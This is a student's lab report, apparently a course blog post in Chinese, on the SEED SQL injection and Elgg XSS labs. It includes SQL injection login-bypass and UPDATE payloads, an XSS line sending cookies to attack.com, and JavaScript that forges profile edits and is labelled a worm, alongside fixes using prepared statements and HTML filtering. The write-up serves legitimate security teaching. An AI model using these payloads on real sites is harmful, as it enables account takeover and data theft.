20252905 2025-2026-2 《网络攻防实践》第十周作业

20252905 2025-2026-2 《网络攻防实践》第十周作业

实践内容

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

1.知识点梳理与总结

实验模块 攻击技术 核心原理 关键操作/ payload示例 防御措施
SQL注入 (SELECT) 认证绕过 在输入框中注入永真条件,使原有SQL查询逻辑改变 用户名输入:admin' or '1'='1
密码任意
使用参数化查询 / 预编译语句(PreparedStatement)
SQL注入 (UPDATE) 数据篡改 利用UPDATE语句的漏洞,一次执行多条语句,修改他人数据 工资更新处注入:', salary='100000' where name='Boby';# 输入过滤 / 最小权限原则
XSS (存储型) 弹窗警报 在个人资料中注入<script>,被其他用户查看时执行 <script>alert('XSS');</script> 对用户输出进行HTML实体转义
XSS (窃取Cookie) 凭证窃取 通过JS获取用户cookie并发送到攻击者服务器 <script>document.write('<img src="http://attack.com/steal?c='+document.cookie+'"/>');</script> 设置HttpOnly Cookie
XSS (请求伪造) 执行操作 在受害者浏览器中发起伪造请求,添加好友或修改资料 通过JS模拟HTTP请求(如XMLHttpRequest或伪造表单提交) 引入CSRF Token
XSS (蠕虫) 自我复制传播 注入的脚本包含传播逻辑,当用户查看被感染页面时,自动将其个人资料页变为新的传播源 脚本中包含修改目标页面并嵌入相同蠕虫payload的逻辑 内容安全策略(CSP)

2.实验过程

任务0:准备工作

选取seedUbuntu,进入Vmnet8模式,修改默认显示用户名,准备开始实验
image

任务1:SEED SQL注入攻击与防御实验

(1)在seed中输入mysql -u root -p启动mysql,密码:seedubuntu
image

(2)输入show databases;,查看当前所有数据库内容
image

(3)输入命令:use users; 使用该数据库,并查看其中的表:show tables;
image

(4)输入命令select * from credential;查询表项
image

(5)输入指令select * from crendital where Name=‘Admin’;查询权限为管理员的数据行
image

评价:命令行系统看数据库确实还是太勉强了,不说用navicat,再怎么说pycharm的数据库或者phpStudy也挺好呐

任务2:对SELECT语句的SQL注入攻击

(1)输入网站www.SEEDLabSQLInjection.com
image

(2)在登录界面右键,选择view page source查看网页源码,该网页采用get 方法访问 unsafe_home.php,
image

(3)在seed寻找该文件,在computer中按照路径/var/www/SQLInjection/unsafe_home.php即可找到该文件,在文件中查看到了登录的代码。通过分析这段sql代码得知,在用户名后加入#字符,即可起到注释的作用,后续的AND Password='hashed_pwd部分被Mysql忽略,故登录的时候只需要输入匹配的用户名即可
image
image

(4)返回登录界面,输入Admin‘#,成功进入系统
image

任务3:对UPDATE语句的SQL注入攻击:

(1)进入Edit Profile界面,查看源代码发现数据发送到unsafe_edit_backend.php ,在与上一个文件相同的路径中打开,查看源代码
image
image

(2)发现了一个与上一个文件相似的代码,有相同的漏洞,在输入NickName时在后面加#即可对数据进行修改
image

(3)在NickName处输入 ', Salary='20252905‘ where name='Admin'; #,成功将Admin的Salary改为20252905
image

任务4:SQL对抗

(1)通过前两个任务了解到,在输入中加入#会更改程序运行逻辑,从而不触发对应安全代码,直接对数据进行修改,危害数据安全对代码进行修改。通过查询资料得知,可以使用bind_param来对代码进行修复
(换句话来说,sql注入本质上就是通过将输入的信息放入到源代码中,使得代码误将正常的逻辑打破,从而获取数据库权限等)

(2)在文件中,将SELECT的语句修改为$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password From credential WHERE name= ? and Password=?;"); $sql->bind_param("ss",$input_uname,$hashed_pwd);

(3)将Update语句修改为
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
修改后这个SQL注入的漏洞被堵住了,原先的登录方法也就进不去了
image

任务5:SEED XSS跨站脚本攻击实验(Elgg)

(1)在seed中输入 http://www.xsslabelgg.com ,进入XSS实验网站
image

(2)使用Alice,seedalice登录Alice账号
image

(3)在该界面中点击Edit profile,在Brief description中输入,保存后出现提示20250905zzy
image

(4)在刚才的输入框中进行修改,将内容修改为,保存后出现cookie的信息

image
image

(5)查看ip地址为192.168.200.8
image

(6)在Alice账号的Brief description中输入如下所示的XSS攻击代码:

image

(7)保存后,在终端中可发现cookie值
image

(8)用Alice的账号查找Samy用户
image

(9)ctrl+shift+E,打开开发者工具,点击添加好友,得到如下信息:http://www.xsslabelgg.com/action/friends/add?friend=46&__elgg_ts=1779112012&__elgg_token=VncrvL_M4LZdT-8HiKHlUQ&__elgg_ts=1779112012&__elgg_token=VncrvL_M4LZdT-8HiKHlUQ
包含以下信息:
地址:http://www.xsslabelgg.com/action/friends/add
好友ID(friend):46
时间戳:1779112012
token:VncrvL_M4LZdT-8HiKHlUQ
image

(10)将如下代码输入Alice的About me中,保存

image

(11)进入自己的主页,在Activity中发现samy成为了自己的好友,攻击成功,成功使进入主页的用户成为Alice的好友
image

(12)在Alice的About me中,输入下列代码:

    window.onload = function(){
        //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
        //and Security Token __elgg_token
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        //Construct the content of your url.
        var content= token + ts + "name=" + userName + "&description=<p>20252905zzy,rainloop.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
        //FILL IN
        var samyGuid=44;
        //FILL IN
        if(elgg.session.user.guid!=samyGuid)
        {
            //Create and send Ajax request to modify profile
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

(13)使用samy登录,访问Alice主页,后返回自己主页,发现主页已经被更改
image

(14)编写XSS蠕虫,在Alice主页输入以下代码:

window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>20252905zzy,rainloop.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

(15)对抗XSS攻击。使用管理员账号(账号:Admin,密码:seedelgg)登录,在右上角Account—Plugins中找到HTMLawed关闭
image

(16)进入Alice主页发现变为代码形式
image

3.学习中遇到的问题及解决

-问题1:从同学那里安装的镜像系统完全进不去

解决方案:进去之后鼠标完全用不了,不知道怎么回事,在官网重装了一个就好了,很奇怪是

-问题2:对xss代码那块不太熟悉,导致重做了好几次

解决办法:学无止境呐朋友,不会的还很多呢,生而有穷,知而无穷,以有穷追无穷,岂不殆哉

3.学习感悟、思考等

本次SEED实验通过SQL注入与XSS攻击两个经典Web漏洞,系统展示了“输入可信”原则被破坏后的严重后果。在SQL注入部分,通过SELECT语句的认证绕过和UPDATE语句的数据篡改,我理解到:应用程序若简单拼接用户输入,攻击者即可通过精巧的永真条件或语句闭合,彻底改变数据库查询意图,从而窃取登录权限或恶意篡改数据。而在XSS部分,通过在Elgg社交平台植入恶意脚本,我们实现了从弹窗警告、窃取Cookie到伪造用户请求(添加好友、修改资料)乃至编写具有自我复制能力的XSS蠕虫的全过程。这让我直观认识到,存储型XSS的危害远不止于弹窗,攻击者可以完全接管用户在Web应用中的身份与操作。

针对上述漏洞,实验中均给出了明确的防御思路:SQL注入的根本防御在于使用参数化查询与预编译语句,将代码与数据分离;而XSS的核心缓解措施则是对用户可控输出进行严格编码与过滤,配合HttpOnly Cookie和内容安全策略(CSP)阻断恶意脚本的执行与传播。通过本次实践,我不仅加深了对Web应用漏洞成因的理解,同时也建立起“每一条用户输入都可能是攻击载荷”的安全开发意识,为后续从事安全开发或渗透测试工作奠定了坚实基础。

参考资料

教学视频

posted @ 2026-05-18 14:31  Rainloop  阅读(9)  评论(0)    收藏  举报